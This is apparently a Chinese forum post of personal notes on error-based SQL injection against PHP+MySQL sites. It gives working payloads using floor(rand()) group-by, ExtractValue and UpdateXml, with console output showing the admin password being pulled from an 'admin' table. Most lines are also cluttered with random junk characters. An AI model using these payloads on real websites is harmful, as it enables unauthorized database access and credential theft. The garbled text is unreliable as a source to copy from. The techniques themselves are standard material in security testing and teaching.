放点原来的笔记,Mysql在执行语句的时候会抛出异常信息信息,而php+mysql架构的网站往往又将错误代码显示在页面上,这样可以通过构造如下三种方法获取特定数据。
R4 C: G7 o6 |实际测试环境:
8 J6 g& K+ [) J1 ~$ z, K' c. n. y
# n1 u& |2 n' e1 R" y/ A4 K' u
mysql> show tables;8 C) O+ v5 Q7 c( ~: Q# \% o
+----------------+
" E! e8 T( Y* ~5 E, I- | _0 M& L| Tables_in_test |
& r; g1 Z" R; [2 a8 {7 r+----------------+3 n: d% Z& k3 j1 \
| admin |# J9 U* m3 @2 } f
| article |' ]# V" S2 }' F" h
+----------------+
% M$ D" I- w0 _( Z # z) @3 a* A0 ?
+ E0 F8 f& Z3 u8 i8 d* E# D7 u! k
2 B2 a" d6 ~; Q) m5 a$ i
mysql> describe admin;
5 S0 x5 K1 C2 c' i; _+-------+------------------+------+-----+---------+----------------+
8 H0 V- U; w% @$ {: a# v* C8 X| Field | Type | Null | Key | Default | Extra |( i o R+ L4 R! z7 m( }
+-------+------------------+------+-----+---------+----------------+
! L% G8 V0 b0 ~/ j; K& v6 K. P/ e# b| id | int(10) unsigned | NO | PRI | NULL | auto_increment |" P8 j. r: r. K, t& {
| user | varchar(50) | NO | | NULL | |
* n7 F5 w) M9 }1 S9 ?! k| pass | varchar(50) | NO | | NULL | |$ c; H2 \ p% \; I
+-------+------------------+------+-----+---------+----------------+
, b" [9 \6 W% y/ W* Q: C' T ! D2 w, E1 J4 l/ U
3 T' ^3 P( U1 p1 S, K ; k, |; Z9 S+ K) ?
mysql> describe article;% {% r- r% ~5 m5 U8 V) A$ c$ T5 }
+---------+------------------+------+-----+---------+----------------+
% b- X0 L7 Q$ h| Field | Type | Null | Key | Default | Extra |0 T' S( f8 M& e
+---------+------------------+------+-----+---------+----------------+" h) h ~# C, |" ^* A
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
/ u& u- _; {, [1 R4 \ s3 y! q0 @| title | varchar(50) | NO | | NULL | |
+ z- q! q6 C k+ P8 }| content | varchar(50) | NO | | NULL | |
y5 R1 Y# e, B& \" L6 T$ s+---------+------------------+------+-----+---------+----------------+
S; c5 _( A4 W; O1、通过floor报错, L# B$ O2 h3 r( D
可以通过如下一些利用代码
. m7 A8 G1 e# L. P( e. b/ R9 s& a $ I8 N, x, A3 t0 c, _
5 f2 G2 F( h9 ~. U9 N0 m5 V( mand select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
@" I: j/ G- x* L4 t7 lfrom information_schema.tables group by x)a);
$ _% F7 k* R* H6 m, r5 d, B/ F! h
) C2 [. K/ t3 _& k3 v! \ , X* D" w) r1 Q
and (select count(*) from (select 1 union select null union select !1)x
' C9 }# w% {! p- _7 ]- zgroup by concat((select table_name from information_schema.tables limit 1),
1 [* w! y2 o" ?floor(rand(0)*2)));: N6 T/ F1 i+ H$ K1 T# g0 h6 i
举例如下:
9 a2 s6 L- M0 Y6 ?首先进行正常查询:' S3 C8 G/ m% K' b
; n( G( a% H1 i! W. r* o- Rmysql> select * from article where id = 1;/ q+ C1 o5 J; C6 W' k, ~4 U
+----+-------+---------+( I8 B1 I" M! w" Y
| id | title | content |: l. R3 U0 G4 h
+----+-------+---------+
! x9 a% y; H, J3 I| 1 | test | do it |5 K9 H5 f, ^6 A" ~" s
+----+-------+---------+1 ?4 L# ]5 D5 b/ p( S
假如id输入存在注入的话,可以通过如下语句进行报错。" ]+ N0 _- `9 r% L- f5 L4 v
( j! m T, A3 s! Y" Q* }
% _5 Y0 \" F% n" b0 x
mysql> select * from article where id = 1 and (select 1 from
9 {, y+ A3 X, L(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);* H2 f4 ?$ [( u* G- M v
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
3 c8 b. c3 L! l j, y可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。
8 k. z, u" p- l8 d例如我们需要查询管理员用户名和密码:( D7 l3 }; y; X0 N; j: P- f# C
Method1:4 C4 R& [8 |# R8 Y
$ g# [) y) ]4 [8 C/ @
3 x1 t7 g4 U/ F) B% k( p$ Vmysql> select * from article where id = 1 and (select 1 from6 e9 S. d; C8 d8 {4 o- m
(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
. Z- F: T* @# C; d4 |5 L2 ~from information_schema.tables group by x)a);" V* G" [& j; {+ x/ U' P8 W2 S7 S
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key') M7 C! i1 F1 Y" j2 D
Method2:
% v- i2 g$ e6 _2 ?1 I! K 5 e* p& P& b# c
1 S$ k3 C, {/ a; F
mysql> select * from article where id = 1 and (select count(*), w: {5 L. g" y5 B. l: s% s4 {. E
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
8 p& S* P8 ] {! A3 I* ffloor(rand(0)*2)));
/ u' c- j; o* h# mERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
( n& H; d% \% z1 S2、ExtractValue
& ^% e6 J, }7 Z测试语句如下" `# }0 G* o, G5 e' |
; {8 S8 p! \) G' \+ l
7 [2 B! d, l) W% F
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));: S5 @# H+ O; J( Q3 p
实际测试过程
# N% m: h0 K4 G
/ `+ l [$ Q% A5 {- ^7 l8 |
/ ?; q _! V/ {1 N8 D# {mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,3 ^0 j& a* I: W: Y2 l0 q+ Z2 @% D
(select pass from admin limit 1)));--
! G- D$ d& I3 g( s0 ?ERROR 1105 (HY000): XPATH syntax error: '\admin888'" B# r3 g. |. f' R3 a& |
3、UpdateXml
2 j8 F: Y( t* [* j8 }3 j测试语句
9 L) W& |3 d8 I6 K2 h* N2 y
3 D2 u' n" N. U5 \3 T. F+ S1 y, T
. v4 i8 z5 q. v' n( r8 Tand 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))- N, P1 o. m8 g% f" \
实际测试过程
8 r/ e+ o5 ?6 P. d 9 l$ y+ B9 h$ F5 c: i! R! U8 L
+ O0 Y2 ?# R2 T, f8 j
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,' B* P: x" B2 l* I8 K* o
(select pass from admin limit 1),0x5e24),1));
/ l* f. u% I& q) ~2 @ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'! G" e% ]$ e+ C, {0 a _
All, thanks foreign guys.1 a# |1 k2 S& o0 G
' q3 v3 r( V1 L- U( i
6 p: g5 a1 Z* w/ b; w |